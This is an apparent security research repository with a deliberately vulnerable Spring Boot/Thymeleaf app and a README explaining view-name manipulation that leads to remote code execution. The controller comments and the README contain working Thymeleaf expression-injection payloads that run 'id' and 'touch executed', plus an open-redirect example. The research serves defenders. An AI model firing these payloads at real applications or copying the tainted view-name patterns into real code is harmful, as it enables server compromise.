├── src └── main │ ├── resources │ ├── application.properties │ └── templates │ │ ├── welcome.html │ │ └── user │ │ └── en │ │ └── welcome.html │ └── java │ └── com │ └── veracode │ └── research │ ├── Application.java │ └── HelloController.java ├── .gitignore ├── exploit.png ├── structure.png ├── pom.xml └── README.md /src/main/resources/application.properties: -------------------------------------------------------------------------------- 1 | server.port=8090 -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .idea/ 2 | ./target/ 3 | ./java-spring-thymeleaf.iml -------------------------------------------------------------------------------- /exploit.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/veracode-research/spring-view-manipulation/HEAD/exploit.png -------------------------------------------------------------------------------- /structure.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/veracode-research/spring-view-manipulation/HEAD/structure.png -------------------------------------------------------------------------------- /src/main/resources/templates/welcome.html: -------------------------------------------------------------------------------- 1 | 2 | 3 |
4 |

Spring Boot Web Thymeleaf Example

5 |
6 |
7 | 8 |
9 | -------------------------------------------------------------------------------- /src/main/resources/templates/user/en/welcome.html: -------------------------------------------------------------------------------- 1 | 2 | 3 |
4 |

Spring Boot Web Thymeleaf Example

5 |
6 |
7 | 8 |
9 | -------------------------------------------------------------------------------- /src/main/java/com/veracode/research/Application.java: -------------------------------------------------------------------------------- 1 | package com.veracode.research; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import org.springframework.boot.autoconfigure.SpringBootApplication; 5 | 6 | @SpringBootApplication 7 | public class Application { 8 | public static void main(String[] args) { 9 | 10 | SpringApplication.run(Application.class, args); 11 | 12 | } 13 | } -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 4.0.0 5 | 6 | org.springframework 7 | java-spring-thymeleaf 8 | 1.0 9 | 10 | 11 | org.springframework.boot 12 | spring-boot-starter-parent 13 | 14 | 2.2.0.RELEASE 15 | 16 | 17 | 18 | 19 | org.springframework.boot 20 | spring-boot-starter-web 21 | 22 | 23 | org.springframework.boot 24 | spring-boot-starter-thymeleaf 25 | 26 | 27 | 28 | 29 | 30 | 1.8 31 | 32 | 33 | 34 | 35 | 36 | org.springframework.boot 37 | spring-boot-maven-plugin 38 | 39 | 40 | 41 | 42 | -------------------------------------------------------------------------------- /src/main/java/com/veracode/research/HelloController.java: -------------------------------------------------------------------------------- 1 | package com.veracode.research; 2 | 3 | import org.slf4j.Logger; 4 | import org.slf4j.LoggerFactory; 5 | import org.springframework.stereotype.Controller; 6 | import org.springframework.ui.Model; 7 | import org.springframework.web.bind.annotation.*; 8 | 9 | import javax.servlet.http.HttpServletResponse; 10 | 11 | @Controller 12 | public class HelloController { 13 | 14 | Logger log = LoggerFactory.getLogger(HelloController.class); 15 | 16 | @GetMapping("/") 17 | public String index(Model model) { 18 | model.addAttribute("message", "happy birthday"); 19 | return "welcome"; 20 | } 21 | 22 | //GET /path?lang=en HTTP/1.1 23 | //GET /path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x 24 | @GetMapping("/path") 25 | public String path(@RequestParam String lang) { 26 | return "user/" + lang + "/welcome"; //template path is tainted 27 | } 28 | 29 | //GET /fragment?section=main 30 | //GET /fragment?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22touch%20executed%22).getInputStream()).next()%7d__::.x 31 | @GetMapping("/fragment") 32 | public String fragment(@RequestParam String section) { 33 | return "welcome :: " + section; //fragment is tainted 34 | } 35 | 36 | @GetMapping("/doc/{document}") 37 | public void getDocument(@PathVariable String document) { 38 | log.info("Retrieving " + document); 39 | //returns void, so view name is taken from URI 40 | } 41 | 42 | @GetMapping("/safe/fragment") 43 | @ResponseBody 44 | public String safeFragment(@RequestParam String section) { 45 | return "welcome :: " + section; //FP, as @ResponseBody annotation tells Spring to process the return values as body, instead of view name 46 | } 47 | 48 | @GetMapping("/safe/redirect") 49 | public String redirect(@RequestParam String url) { 50 | return "redirect:" + url; //FP as redirects are not resolved as expressions 51 | } 52 | 53 | @GetMapping("/safe/doc/{document}") 54 | public void getDocument(@PathVariable String document, HttpServletResponse response) { 55 | log.info("Retrieving " + document); //FP 56 | } 57 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | #### Spring View Manipulation Vulnerability 2 | 3 | In this article, we explain how dangerous an unrestricted view name manipulation in Spring Framework could be. Before doing so, let's look at the simplest Spring application that uses Thymeleaf as a templating engine: 4 | 5 | Structure:
6 |
7 | 8 | [HelloController.java](src/main/java/com/veracode/research/HelloController.java): 9 | ```java 10 | @Controller 11 | public class HelloController { 12 | 13 | @GetMapping("/") 14 | public String index(Model model) { 15 | model.addAttribute("message", "happy birthday"); 16 | return "welcome"; 17 | } 18 | } 19 | ``` 20 | 21 | Due to the use of `@Controller` and `@GetMapping("/")` annotations, this method will be called for every HTTP GET request for the root url ('/'). It does not have any parameters and returns a static string "welcome". 22 | Spring framework interprets "welcome" as a View name, and tries to find a file "resources/templates/welcome.html" located in the application resources. If it finds it, it renders the view from the template file and returns to the user. 23 | If the Thymeleaf view engine is in use (which is the most popular for Spring), the template may look like this: 24 | 25 | [welcome.html](src/main/resources/templates/welcome.html): 26 | ```html 27 | 28 | 29 |
30 |

Spring Boot Web Thymeleaf Example

31 |
32 |
33 | 34 |
35 | 36 | ``` 37 | 38 | Thymeleaf engine also support [file layouts](https://www.thymeleaf.org/doc/articles/layouts.html). For example, you can specify a fragment in the template by using `
` and then request only this fragment from the view: 39 | ```java 40 | @GetMapping("/main") 41 | public String fragment() { 42 | return "welcome :: main"; 43 | } 44 | ``` 45 | Thymeleaf is intelligent enough to return only the 'main' div from the welcome view, not the whole document. 46 | 47 | From a security perspective, there may be a situation when a template name or a fragment are concatenated with untrusted data. For example, with a request parameter: 48 | ```java 49 | @GetMapping("/path") 50 | public String path(@RequestParam String lang) { 51 | return "user/" + lang + "/welcome"; //template path is tainted 52 | } 53 | 54 | @GetMapping("/fragment") 55 | public String fragment(@RequestParam String section) { 56 | return "welcome :: " + section; //fragment is tainted 57 | } 58 | ``` 59 | 60 | The first case may contain a potential path traversal vulnerability, but a user is limited to the 'templates' folder on the server and cannot view any files outside it. The obvious exploitation approach would be to try to find a separate file upload and create a new template, but that's a different issue. 61 | 62 | **Luckily for bad guys**, before loading the template from the filesystem, [Spring ThymeleafView](https://github.com/thymeleaf/thymeleaf-spring/blob/74c4203bd5a2935ef5e571791c7f286e628b6c31/thymeleaf-spring3/src/main/java/org/thymeleaf/spring3/view/ThymeleafView.java) class parses the template name as an expression: 63 | ```java 64 | try { 65 | // By parsing it as a standard expression, we might profit from the expression cache 66 | fragmentExpression = (FragmentExpression) parser.parseExpression(context, "~{" + viewTemplateName + "}"); 67 | } 68 | ``` 69 | So, the aforementioned controllers may be exploited not by path traversal, but by expression language injection: 70 | #### Exploit for /path (should be url-encoded) 71 | ```http 72 | GET /path?lang=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x HTTP/1.1 73 | ``` 74 |

exploit image

75 | 76 | In this exploit we use the power of [expression preprocessing](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/): by surrounding the expression with `__${` and `}__::.x` we can make sure it's executed by thymeleaf no matter what prefixes or suffixes are. 77 | 78 | **To summarize**, whenever untrusted data comes to a view name returned from the controller, it could lead to expression language injection and therefore to Remote Code Execution. 79 | 80 | #### Even more magic 81 | In the previous examples, controllers return strings, explicitly telling Spring what view name to use, but that's not always the case. As [described in the documentation](https://docs.spring.io/spring/docs/current/spring-framework-reference/web.html#mvc-ann-return-types), for some return types such as `void`, `java.util.Map` or `org.springframework.ui.Model`: 82 | > the view name implicitly determined through a RequestToViewNameTranslator 83 | 84 | It means that a controller like this: 85 | ```java 86 | @GetMapping("/doc/{document}") 87 | public void getDocument(@PathVariable String document) { 88 | log.info("Retrieving " + document); 89 | } 90 | ``` 91 | may look absolutely innocent at first glance, it does almost nothing, but since Spring does not know what View name to use, **it takes it from the request URI**. Specifically, DefaultRequestToViewNameTranslator does the following: 92 | 93 | ```java 94 | /** 95 | * Translates the request URI of the incoming {@link HttpServletRequest} 96 | * into the view name based on the configured parameters. 97 | * @see org.springframework.web.util.UrlPathHelper#getLookupPathForRequest 98 | * @see #transformPath 99 | */ 100 | @Override 101 | public String getViewName(HttpServletRequest request) { 102 | String lookupPath = this.urlPathHelper.getLookupPathForRequest(request, HandlerMapping.LOOKUP_PATH); 103 | return (this.prefix + transformPath(lookupPath) + this.suffix); 104 | } 105 | ``` 106 | 107 | So it also become vulnerable as the user controlled data (URI) comes directly to view name and resolved as expression. 108 | 109 | #### Exploit for /doc (should be url-encoded) 110 | ```http 111 | GET /doc/__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x HTTP/1.1 112 | ``` 113 | 114 | #### Safe case: ResponseBody 115 | 116 | There are also some cases when a controller returns a used-controlled value, but they are not vulnerable to view name manipulation. For example, when the controller is annotated with @ResponseBody: 117 | 118 | ```java 119 | @GetMapping("/safe/fragment") 120 | @ResponseBody 121 | public String safeFragment(@RequestParam String section) { 122 | return "welcome :: " + section; //FP, as @ResponseBody annotation tells Spring to process the return values as body, instead of view name 123 | } 124 | ``` 125 | 126 | In this case, Spring Framework does not interpret it as a view name, but just returns this string in HTTP Response. The same applies to @RestController on a class, as internally it inherits @ResponseBody. 127 | 128 | #### Safe case: A redirect 129 | 130 | ```java 131 | @GetMapping("/safe/redirect") 132 | public String redirect(@RequestParam String url) { 133 | return "redirect:" + url; //CWE-601, as we can control the hostname in redirect 134 | } 135 | ``` 136 | 137 | When the view name is prepended by `"redirect:"` the logic is also different. In this case, Spring does not use [Spring ThymeleafView](https://github.com/thymeleaf/thymeleaf-spring/blob/74c4203bd5a2935ef5e571791c7f286e628b6c31/thymeleaf-spring3/src/main/java/org/thymeleaf/spring3/view/ThymeleafView.java) anymore but a [RedirectView](https://github.com/spring-projects/spring-framework/blob/master/spring-webmvc/src/main/java/org/springframework/web/servlet/view/RedirectView.java), which does not perform expression evaluation. This example still has an open redirect vulnerability, but it is certainly not as dangerous as RCE via expression evaluation. 138 | 139 | #### Safe case: Response is already processed 140 | 141 | ```java 142 | @GetMapping("/safe/doc/{document}") 143 | public void getDocument(@PathVariable String document, HttpServletResponse response) { 144 | log.info("Retrieving " + document); //FP 145 | } 146 | ``` 147 | 148 | This case is very similar to one of the previous vulnerable examples, but since the controller has *HttpServletResponse* in parameters, Spring considers that it's already processed the HTTP Response, so the view name resolution just does not happen. This check exists in the *ServletResponseMethodArgumentResolver* class. 149 | 150 | #### Conclusion 151 | Spring is a framework with a bit of magic, it allows developers to write less code but sometimes this magic turns black. It's important to understand situations when user controlled data goes to sensitive variables (such as view names) and prevent them accordingly. Stay safe. 152 | 153 | #### Test locally 154 | 155 | Java 8+ and Maven required 156 | 157 | ```bash 158 | cd spring-view-manipulation 159 | mvn spring-boot:run 160 | curl 'localhost:8090/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x' 161 | ``` 162 | 163 | #### Credits 164 | This project was co-authored by [Michael Stepankin](https://twitter.com/artsploit) and [Giuseppe Trovato](https://twitter.com/otavorteppesuig) at Veracode
165 | Authors would like to thank [Aleksei Tiurin](https://www.acunetix.com/blog/author/alekseitiurin/) from Acunetix for the excellent research on [SSTI vulnerabilities in Thymeleaf](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/) --------------------------------------------------------------------------------